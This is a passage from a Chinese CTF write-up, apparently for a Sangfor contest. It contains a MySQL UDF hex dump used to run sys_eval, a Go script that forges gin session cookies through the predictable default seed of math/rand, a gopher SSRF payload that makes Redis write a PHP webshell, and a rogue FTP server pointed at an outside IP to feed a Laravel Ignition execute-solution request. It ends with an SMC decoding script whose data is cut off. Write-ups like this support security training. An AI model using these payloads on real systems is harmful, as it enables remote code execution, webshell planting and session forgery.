261. 000000000000000000000000000E80200001200000000000000000000000000000000000000F
     
262. D02000012000B00090F0000000000000A000000000000000D030000120000000000000000000
     
263. 0000000000000000000220300001000F1FF10172000000000000000000000000000290300001
     
264. 2000000000000000000000000000000000000003C03000012000900880900000000000000000
     
265. 000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544
     
266. F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5
     
267. F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746
     
268. F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5
     
269. F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F637
     
270. 46F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F464
     
271. 65345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005
     
272. F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745
     
273. F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6
     
274. 465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C494
     
275. 2435F322E322E35007379735F657865635F696E6974007379735F6576616C006667657473404
     
276. 0474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696
     
277. E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726
     
278. C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C6
     
279. 9625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697
     
280. A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745
     
281. F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322
     
282. E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676
     
283. 574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F73746172740
     
284. 06C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474
     
285. C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4
     
286. 942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696
     
287. E697400') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
     
288. create function sys_eval returns string soname 'mysqludf.so';
     
289. select sys_eval("/readflag");

复制代码

​
创建函数

• 
  

create function sys_eval returns string soname 'mysqludf.so';

​

列目录 发现readflag

​

/readflag获取flag
​
Checkin_Go
​
关键点在这里 /game

​

通过知道可以购买flag 但是不够钱 发现设置了一个o的cookies
​
看着像base64 解码看看 去掉数字和那个杠继续

​

​​
chekNowMoney这个值我们从代码里可以看到是cookies一定有的 并且这个值就是加密后20w的值 之后猜测可能是sessions伪造 但这个是随机生成的 查了相关资料发现 go里面的math/seed 如果没设定 默认为1 默认种子为1这就代表着我们随机数可控，那我们伪造sessions就行了 伪造一个钱数和管理员。

​

脚本

1. // 伪造 cookie
   
2. 参考链接https://annevi.cn/2020/08/14/wmctf2020-gogogowriteup/#0x04_SSRF_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96
   
3. package main
   
4. import (
   
5. "github.com/gin-contrib/sessions"
   
6. "github.com/gin-contrib/sessions/cookie"
   
7. "github.com/gin-gonic/gin"
   
8. "math/rand"
   
9. "fmt"
   
10. )
    
11. func main() {
    
12. r := gin.Default()
    
13. storage := cookie.NewStore(randomChar(16))
    
14. r.Use(sessions.Sessions("o", storage))
    
15. r.GET("/getcookies",cookieHandler)
    
16. r.Run("0.0.0.0:8002")
    
17. }
    
18. func cookieHandler(c *gin.Context){
    
19. s := sessions.Default(c)
    
20. s.Set("uname", "admin")
    
21. s.Set("checkNowMoney", "JkeLNs0tAng7rDdgtr1nDQ")
    
22. s.Set("checkPlayerMoney", "JkeLNs0tAng7rDdgtr1nDQ")
    
23. s.Set("nowMoney", 200000)
    
24. s.Set("playerMoney", 200000)
    
25. s.Save()
    
26. }
    
27. func randomChar(l int) []byte {
    
28. output := make([]byte, l)
    
29. rand.Read(output)
    
30. return output
    
31. }

复制代码

本地搭建访问/getcookies生成 得到之后

1. MTYzMTMyNTYwMnxEdi1CQkFFQ180SUFBUkFCRUFBQV85al9nZ0FGQm5OMGNtbHVad3dQQUExamFHVmphMDV
   
2. 2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpLYTJWTVRuTXdkRUZ1WnpkeVJHUm5kSEl4YmtSUkJuTjBjbWx1Wnd
   
3. 3U0FCQmphR1ZqYTFCc1lYbGxjazF2Ym1WNUJuTjBjbWx1Wnd3WUFCWkthMlZNVG5Nd2RFRnVaemR5UkdSbmR
   
4. ISXhia1JSQm5OMGNtbHVad3dLQUFodWIzZE5iMjVsZVFOcGJuUUVCUUQ5QmhxQUJuTjBjbWx1Wnd3TkFBdHd
   
5. iR0Y1WlhKTmIyNWxlUU5wYm5RRUJRRDlCaHFBQm5OMGNtbHVad3dIQUFWMWJtRnRaUVp6ZEhKcGJtY01Cd0F
   
6. GWVdSdGFXND18YMKQTx56uF7SinEC3XK1TZSvywUDn4nqkAaFEu-_nbs=

复制代码

然后访问/game，修改o的值 伪造成功购买flag

​

Cross The Side

​

发现redis信息
​
生成ssrf redis写shell的paload

1. gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%
   
2. 0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/%
   
3. 2A%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D
   
4. %0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%
   
5. 0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.p
   
6. hp%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

复制代码

搭建恶意ftp服务

• 
  

1. root@10-7-100-194:~# cat 33.py
   
2. # -*- coding: utf-8 -*-
   
3. # @Time : 2021/1/13 6:56 下午
   
4. # @Author : tntaxin
   
5. # @File : ftp_redirect.py
   
6. # @Software:
   
7. import socket
   
8. from urllib.parse import unquote
   
9. # 对gopherus生成的payload进行一次urldecode
   
10. payload =
    
11. unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241
    
12. %0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/%2A%22%29%3B%3F
    
13. %3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0A
    
14. dir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%
    
15. 0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A
    
16. 1%0D%0A%244%0D%0Asave%0D%0A%0A")
    
17. payload = payload.encode('utf-8')
    
18. host = '0.0.0.0'
    
19. port = 23
    
20. sk = socket.socket()
    
21. sk.bind((host, port))
    
22. sk.listen(5)
    
23. # ftp被动模式的passvie port,监听到1234
    
24. sk2 = socket.socket()
    
25. sk2.bind((host, 1234))
    
26. sk2.listen()
    
27. # 计数器，用于区分是第几次ftp连接
    
28. count = 1
    
29. while 1:
    
30. conn, address = sk.accept()
    
31. conn.send(b"200 \n")
    
32. print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
    
33. if count == 1:
    
34. conn.send(b"220 ready\n")
    
35. else:
    
36. conn.send(b"200 ready\n")
    
37. print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE
    
38. I表示二进制， TYPE A表示文本
    
39. if count == 1:
    
40. conn.send(b"215 \n")
    
41. else:
    
42. conn.send(b"200 \n")
    
43. print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
    
44. if count == 1:
    
45. conn.send(b"213 3 \n")
    
46. else:
    
47. conn.send(b"300 \n")
    
48. print(conn.recv(20)) # EPSV\r\n'
    
49. conn.send(b"200 \n")
    
50. print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
    
51. if count == 1:
    
52. # 36.255.221.156
    
53. conn.send(b"227 36,255,221,156,4,210\n") # 服务端告诉客户端需要到哪个
    
54. ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
    
55. else:
    
56. print("第二次")
    
57. conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则：35*256+40=9000
    
58. print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到
    
59. STOR /123\r\n
    
60. if count == 1:
    
61. conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
    
62. # 新建一个socket给服务端返回我们的payload
    
63. print("建立连接!")
    
64. conn2, address2 = sk2.accept()
    
65. conn2.send(payload)
    
66. conn2.close()
    
67. print("断开连接!")
    
68. else:
    
69. conn.send(b"150 \n")
    
70. print(conn.recv(20))
    
71. exit()
    
72. # 第一次连接是下载文件，需要告诉客户端下载已经结束
    
73. if count == 1:
    
74. conn.send(b"226 \n")
    
75. conn.close()
    
76. count += 1
    
77. # Sangfor{Dvbx/8u0ec25iifMz+yHfxnVqsA9KMNi}

复制代码

• 
  

1. POST /_ignition/execute-solution HTTP/1.1
   
2. Host: 192.168.41.241:8077
   
3. User-Agent: Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M)
   
4. AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile
   
5. Safari/537.36
   
6. Accept:
   
7. text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
   
8. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   
9. Accept-Encoding: gzip, deflate
   
10. Connection: close
    
11. Cookie: XSRFTOKEN=eyJpdiI6IkM2TFlOdkZHcGxWL3l2NTBDUkFWOHc9PSIsInZhbHVlIjoidjM3enFLajRjdl
    
12. U4Z1ZiQkxqQ3lyQm12bVlNWjhaWkpYdndEOHRlUkVKMStxMGFBS2FmNFRxRnFtbkpOMXRWRDFjck
    
13. hQQXIxdk1sVVhPWXdjV0NuZkdiYlBtait3dFNJMUlNbXo4MERGSlY3T09pd3JUaDZqWkxPdHlsL2
    
14. NSVlEiLCJtYWMiOiI2YmYxYmE1MDZmNGM3MjkxNjAxYjM3OTgwZjFlZDg3OWUzNzEyNzkyNDllNG
    
15. E2NzVhNDI0OTAwYzZjMjc1YmRhIn0%3D;
    
16. laravel_session=eyJpdiI6IldUN2l0VW9ITWNwOWhEaTh2dTAwL2c9PSIsInZhbHVlIjoiS0hO
    
17. Mmt2cE9LbzVOSXBuKytvejcwditkblJoVWw1M25QWnhubXRCdmpndFB0S0EwNUNqVnZiMVh0b2kw
    
18. WjZFY3hwK20zZW5BMlB3RGRianRhaUcrejM2VFBUUHVqWFNQUTc4WlAyLzRyc09xRFA2THJqbDZ3
    
19. N0tBdzh1bXh6UXoiLCJtYWMiOiJiNTdkMDQ1MzQwNTdhNGNhNDNjNDIwZDJhNjA2YTNjOTE1YjY2
    
20. ZjdhNDE0YzRlYTFmOTkxZjMxNDdhMGYzMDczIn0%3D;
    
21. o=MTYzMTM0NDkwOXxEdi1CQkFFQ180SUFBUkFCRUFBQV85al9nZ0FGQm5OMGNtbHVad3dQQUExam
    
22. FHVmphMDV2ZDAxdmJtVjVCbk4wY21sdVp3d1lBQlpLYTJWTVRuTXdkRUZ1WnpkeVJHUm5kSEl4Ym
    
23. tSUkJuTjBjbWx1Wnd3U0FCQmphR1ZqYTFCc1lYbGxjazF2Ym1WNUJuTjBjbWx1Wnd3WUFCWXhkMF
    
24. UwT1hkeE4yNWhZVlZUYjB4WFdIUjVPR2RuQm5OMGNtbHVad3dLQUFodWIzZE5iMjVsZVFOcGJuUU
    
25. VCUUQ5QmhxQUJuTjBjbWx1Wnd3TkFBdHdiR0Y1WlhKTmIyNWxlUVoxYVc1ME16SUdBZ0FBQm5OMG
    
26. NtbHVad3dIQUFWMWJtRnRaUVp6ZEhKcGJtY01Cd0FGWVdSdGFXND18KK4jeoHxk8IcJSByTgTFKm
    
27. pJbv1mWyq90INZppVyk3Q=; JSESSIONID=5D83565EDF035490809DE85557C699E9
    
28. Upgrade-Insecure-Requests: 1
    
29. X-Forwarded-For: 202.146.216.7
    
30. X-Originating-IP: 202.146.216.7
    
31. X-Remote-IP: 202.146.216.7
    
32. X-Remote-Addr: 202.146.216.7
    
33. Cache-Control: max-age=0
    
34. Content-Type: application/json
    
35. Content-Length: 192
    
36. {
    
37. "solution":
    
38. "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    
39. "parameters": {
    
40. "variableName": "username",
    
41. "viewFile": "ftp://aaa@36.255.221.156:23/123"
    
42. }
    
43. }

复制代码

访问生成的shell

​

Re
1.将程序载入IDA，发现代码下方有一段数据，猜测已经加密，因为题目说是SMC，所以是自解码

​

2.在数据上方有一个call，就是它的解码函数

​

3.手动将数据进行解码

1. def ror8Bit(v, shift):
   
2. shift &= 7
   
3. if shift == 0:
   
4. return v
   
5. return ((v >> shift) | (v << (8 - shift))) & 0xFF
   
6. codes = [
   
7. 0x17, 0xD2, 0xDA, 0xD2, 0xD2, 0xE1, 0xAA, 0xAD, 0xD4, 0x4D,
   
8. 0xAA, 0x29, 0xF0, 0xF2, 0x53, 0x4D, 0xAA, 0x29, 0xF0, 0xF2,
   
9. 0xD3, 0x4D, 0xAA, 0x29, 0xF0, 0xF2, 0x52, 0x4D, 0xAA, 0x29,
   
10. 0xF2, 0xF2, 0x90, 0xCE, 0x95, 0xD0, 0x79, 0xCD, 0xAA, 0x52,
    
11. 0xFA, 0xA6, 0x44, 0xDA, 0xD2, 0xAA, 0x52, 0xBA, 0x6E, 0x44,
    
12. 0xDA, 0xD2, 0xAA, 0x52, 0x7A, 0xD7, 0x44, 0xDA, 0xD2, 0xAA,
    
13. 0x52, 0x3A, 0x9F, 0x44, 0xDA, 0xD2, 0xAA, 0x5A, 0xF6, 0xF3,
    
14. 0xD0, 0xDA, 0xD2, 0xD2, 0xAA, 0x5A, 0xB6, 0xF3, 0x50, 0xDA,
    
15. 0xD2, 0xD2, 0xAA, 0x5A, 0x76, 0xF3, 0xD1, 0xDA, 0xD2, 0xD2,
    
16. 0xAA, 0x5A, 0x36, 0xF3, 0x51, 0xDA, 0xD2, 0xD2, 0x90, 0xBE,
    
17. 0x76, 0xF3, 0xD6, 0xDA, 0xD2, 0xD2, 0x90, 0x9E, 0x5C, 0x90,
    
18. 0xCE, 0xC5, 0x55, 0xE1, 0xAA, 0xAD, 0xD4, 0xE1, 0xAA, 0x71,
    
19. 0xC2, 0xE1, 0xAA, 0x6C, 0xD4, 0xCE, 0xDD, 0xAA, 0x4C, 0x95,
    
20. 0xAA, 0x37, 0xD4, 0x79, 0x8A, 0x90, 0x9E, 0x54, 0x90, 0xCA,
    
21. 0x5C, 0x95, 0x9B, 0x42, 0xD2, 0xD2, 0x90, 0x27, 0x8F, 0x87,
    
22. 0x87, 0x87, 0x87, 0x87, 0x87, 0x87, 0x90, 0x9E, 0xDC, 0x90,
    
23. 0x6D, 0xE5, 0x90, 0x9E, 0x64, 0x90, 0x9E, 0x6D, 0x90, 0x5C,
    
24. 0xAD, 0xAA, 0xF6, 0x87, 0x82, 0xD2, 0xD2, 0xF8, 0x4B, 0x9C,
    
25. 0x17, 0xDA, 0xD2, 0xD2, 0xD2, 0xF8, 0x4B, 0xD4, 0xF8, 0x4B,
    
26. 0x44, 0x90, 0xDC, 0xA5, 0xFA, 0xAA, 0xF6, 0x44, 0x9A, 0xD2,
    
27. 0xD2, 0x90, 0x9E, 0x30, 0xF3, 0x53, 0xB0, 0x9E, 0xF1, 0xF3,
    
28. 0x93, 0xB0, 0x9E, 0xB1, 0xF3, 0xD3, 0x98, 0xC9, 0xD4, 0x98,
    
29. 0xC9, 0x44, 0xF0, 0xAA, 0x27, 0xB7, 0xF2, 0xD6, 0xDA, 0xD2,
    
30. 0xD2, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC, 0x35, 0xC2, 0xD8, 0xCE,
    
31. 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0, 0xAA, 0x27, 0x36, 0xF2,
    
32. 0xDE, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xFD, 0xF2, 0xAA, 0x27,
    
33. 0x36, 0xF2, 0xC6, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xF7, 0xF3,
    
34. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0xE7, 0xF0, 0x96,
    
35. 0xF1, 0x72, 0xD0, 0xF8, 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xF2,
    
36. 0xD8, 0xCE, 0xCD, 0xAA, 0xF8, 0x8A, 0xB5, 0xB8, 0xC9, 0xBD,
    
37. 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xF7, 0xB3, 0xD0, 0xDA,
    
38. 0xD2, 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2, 0xD8,
    
39. 0xD6, 0x75, 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B, 0xB8,
    
40. 0xC9, 0x0C, 0xF0, 0x96, 0xF1, 0x72, 0xD8, 0xE0, 0x86, 0xF7,
    
41. 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xF0,
    
42. 0x96, 0xF1, 0x72, 0xC0, 0xF0, 0xAA, 0x27, 0xF7, 0xF2, 0xCE,
    
43. 0xDA, 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC, 0x3D, 0xC2,
    
44. 0xD8, 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0xF0, 0x86, 0x36,
    
45. 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7, 0xF0,
    
46. 0x96, 0x30, 0x72, 0xC8, 0xE0, 0x86, 0xB7, 0xB3, 0xD0, 0xDA,
    
47. 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0xF6, 0xDA, 0xD2,
    
48. 0xD2, 0xD8, 0xD6, 0x7D, 0xE7, 0xF0, 0x96, 0xB1, 0x72, 0xF0,
    
49. 0xF8, 0x9E, 0x3C, 0xD8, 0xDC, 0xF5, 0xF2, 0xD8, 0xCE, 0xCD,
    
50. 0xAA, 0xD8, 0xDC, 0x3D, 0xF2, 0xF8, 0x8A, 0xFD, 0xB8, 0xC9,
    
51. 0xF5, 0xAA, 0x27, 0x36, 0xF2, 0xFE, 0xDA, 0xD2, 0xD2, 0xD8,
    
52. 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xB7, 0xF3, 0xD0, 0xDA, 0xD2,
    
53. 0xD2, 0xD8, 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xE2, 0xD8, 0xD6,
    
54. 0x7D, 0xCF, 0xF8, 0x8A, 0x34, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9,
    
55. 0x0C, 0xF0, 0x96, 0xB1, 0x72, 0xF8, 0xF0, 0xAA, 0x27, 0xB7,
    
56. 0xF2, 0xE6, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xF7, 0x32, 0xD0,
    
57. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xF0, 0x96, 0xF1,
    
58. 0x72, 0xE0, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC, 0x35, 0xC2, 0xD8,
    
59. 0xCE, 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0, 0x86, 0x36, 0x32,
    
60. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7, 0xF0, 0x96,
    
61. 0x30, 0x72, 0xE8, 0xE0, 0x86, 0xF7, 0xF3, 0xD0, 0xDA, 0xD2,
    
62. 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0xEE, 0xDA, 0xD2, 0xD2,
    
63. 0xD8, 0xD6, 0x75, 0xE7, 0xF0, 0x96, 0xF1, 0x72, 0x90, 0xF8,
    
64. 0x9E, 0x34, 0xD8, 0xDC, 0xFD, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA,
    
65. 0xD8, 0xDC, 0x35, 0xF2, 0xF8, 0x8A, 0xB5, 0xB8, 0xC9, 0xBD,
    
66. 0xAA, 0x27, 0x36, 0xF2, 0x96, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC,
    
67. 0xCD, 0xC2, 0xE0, 0x86, 0xF7, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2,
    
68. 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2, 0xD8, 0xD6, 0x75,
    
69. 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9, 0x0C,
    
70. 0xF0, 0x96, 0xF1, 0x72, 0x98, 0xE0, 0x86, 0xF7, 0x32, 0xD0,
    
71. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xF0, 0x96, 0xF1,
    
72. 0x72, 0x80, 0xF0, 0xAA, 0x27, 0xF7, 0xF2, 0x9E, 0xDA, 0xD2,
    
73. 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC, 0x3D, 0xC2, 0xD8, 0xCE,
    
74. 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0xF0, 0x86, 0x36, 0x32, 0xD0,
    
75. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7, 0xF0, 0x96, 0x30,
    
76. 0x72, 0x88, 0xE0, 0x86, 0xB7, 0xB3, 0xD0, 0xDA, 0xD2, 0xD2,
    
77. 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0x86, 0xDA, 0xD2, 0xD2, 0xD8,
    
78. 0xD6, 0x7D, 0xE7, 0xF0, 0x96, 0xB1, 0x72, 0xB0, 0xF8, 0x9E,
    
79. 0x3C, 0xD8, 0xDC, 0xF5, 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8,
    
80. 0xDC, 0x3D, 0xF2, 0xF8, 0x8A, 0xFD, 0xB8, 0xC9, 0xF5, 0xAA,
    
81. 0x27, 0x36, 0xF2, 0x8E, 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xCD,
    
82. 0xC2, 0xE1, 0x56, 0xE0, 0x86, 0xB7, 0xF3, 0xD0, 0xDA, 0xD2,
    
83. 0xD2, 0xD8, 0x9E, 0x34, 0xD8, 0xDC, 0x35, 0xE2, 0xD8, 0xD6,
    
84. 0x7D, 0xCF, 0xF8, 0x8A, 0x34, 0xCE, 0xCD, 0x2B, 0xB8, 0xC9,
    
85. 0x0C, 0xF0, 0x96, 0xB1, 0x72, 0xB8, 0xF0, 0xAA, 0x27, 0xB7,
    
86. 0xF2, 0xB6, 0xDA, 0xD2, 0xD2, 0xE0, 0x86, 0xF7, 0x32, 0xD0,
    
87. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F, 0xAA, 0x2A, 0xD2,
    
88. 0xF0, 0x96, 0xF1, 0x72, 0xA0, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC,
    
89. 0x35, 0xC2, 0xD8, 0xCE, 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0,
    
90. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D,
    
91. 0xB7, 0xF0, 0x96, 0x30, 0x72, 0xA8, 0xE1, 0x56, 0xE0, 0x86,
    
92. 0xF7, 0xF3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36,
    
93. 0xF2, 0xBE, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0xE7, 0xF0,
    
94. 0x96, 0xF1, 0x72, 0x50, 0xF8, 0x9E, 0x34, 0xD8, 0xDC, 0xFD,
    
95. 0xF2, 0xD8, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x35, 0xF2, 0xF8,
    
96. 0x8A, 0xB5, 0xB8, 0xC9, 0xBD, 0xAA, 0x27, 0x36, 0xF2, 0xA6,
    
97. 0xDA, 0xD2, 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xF7,
    
98. 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC,
    
99. 0x3D, 0xE2, 0xD8, 0xD6, 0x75, 0xCF, 0xF8, 0x8A, 0x3C, 0xCE,
    
100. 0xCD, 0x2B, 0xB8, 0xC9, 0x0C, 0xF0, 0x96, 0xF1, 0x72, 0x58,
     
101. 0xE0, 0x86, 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
102. 0x75, 0x9F, 0xF0, 0x96, 0xF1, 0x72, 0x40, 0xF0, 0xAA, 0x27,
     
103. 0xF7, 0xF2, 0xAE, 0xDA, 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8,
     
104. 0xDC, 0x3D, 0xC2, 0xD8, 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD,
     
105. 0xF0, 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6,
     
106. 0x4D, 0xB7, 0xF0, 0x96, 0x30, 0x72, 0x48, 0xE0, 0x86, 0xB7,
     
107. 0xB3, 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2,
     
108. 0x56, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x7D, 0xE7, 0xF0, 0x96,
     
109. 0xB1, 0x72, 0x70, 0xF8, 0x9E, 0x3C, 0xD8, 0xDC, 0xF5, 0xF2,
     
110. 0xD8, 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x3D, 0xF2, 0xF8, 0x8A,
     
111. 0xFD, 0xB8, 0xC9, 0xF5, 0xAA, 0x27, 0x36, 0xF2, 0x5E, 0xDA,
     
112. 0xD2, 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xB7, 0xF3,
     
113. 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x34, 0xD8, 0xDC, 0x35,
     
114. 0xE2, 0xD8, 0xD6, 0x7D, 0xCF, 0xF8, 0x8A, 0x34, 0xCE, 0xCD,
     
115. 0x2B, 0xB8, 0xC9, 0x0C, 0xF0, 0x96, 0xB1, 0x72, 0x78, 0xF0,
     
116. 0xAA, 0x27, 0xB7, 0xF2, 0x46, 0xDA, 0xD2, 0xD2, 0xE0, 0x86,
     
117. 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F,
     
118. 0xF0, 0x96, 0xF1, 0x72, 0x60, 0xF8, 0x9E, 0xB5, 0xD8, 0xDC,
     
119. 0x35, 0xC2, 0xD8, 0xCE, 0xFD, 0xCA, 0xB8, 0xC9, 0xF5, 0xF0,
     
120. 0x86, 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D,
     
121. 0xB7, 0xF0, 0x96, 0x30, 0x72, 0x68, 0xE0, 0x86, 0xF7, 0xF3,
     
122. 0xD0, 0xDA, 0xD2, 0xD2, 0xF0, 0xAA, 0x27, 0x36, 0xF2, 0x4E,
     
123. 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0xE7, 0xF0, 0x96, 0xF1,
     
124. 0x72, 0x10, 0xF8, 0x9E, 0x34, 0xD8, 0xDC, 0xFD, 0xF2, 0xD8,
     
125. 0xCE, 0xCD, 0xAA, 0xD8, 0xDC, 0x35, 0xF2, 0xF8, 0x8A, 0xB5,
     
126. 0xB8, 0xC9, 0xBD, 0xAA, 0x27, 0x36, 0xF2, 0x76, 0xDA, 0xD2,
     
127. 0xD2, 0xD8, 0xDC, 0xCD, 0xC2, 0xE0, 0x86, 0xF7, 0xB3, 0xD0,
     
128. 0xDA, 0xD2, 0xD2, 0xD8, 0x9E, 0x3C, 0xD8, 0xDC, 0x3D, 0xE2,
     
129. 0xD8, 0xD6, 0x75, 0xCF, 0xF8, 0x8A, 0x3C, 0xCE, 0xCD, 0x2B,
     
130. 0xB8, 0xC9, 0x0C, 0xF0, 0x96, 0xF1, 0x72, 0x18, 0xE0, 0x86,
     
131. 0xF7, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x75, 0x9F,
     
132. 0xF0, 0x96, 0xF1, 0x72, 0x00, 0xF0, 0xAA, 0x27, 0xF7, 0xF2,
     
133. 0x7E, 0xDA, 0xD2, 0xD2, 0xF8, 0x9E, 0xFD, 0xD8, 0xDC, 0x3D,
     
134. 0xC2, 0xD8, 0xCE, 0xF5, 0xCA, 0xB8, 0xC9, 0xBD, 0xF0, 0x86,
     
135. 0x36, 0x32, 0xD0, 0xDA, 0xD2, 0xD2, 0xD8, 0xD6, 0x4D, 0xB7,
     
136. 0x56, 0xF0, 0x96, 0x30, 0x72, 0x08, 0xE0, 0x86, 0xB7, 0xB3,
     
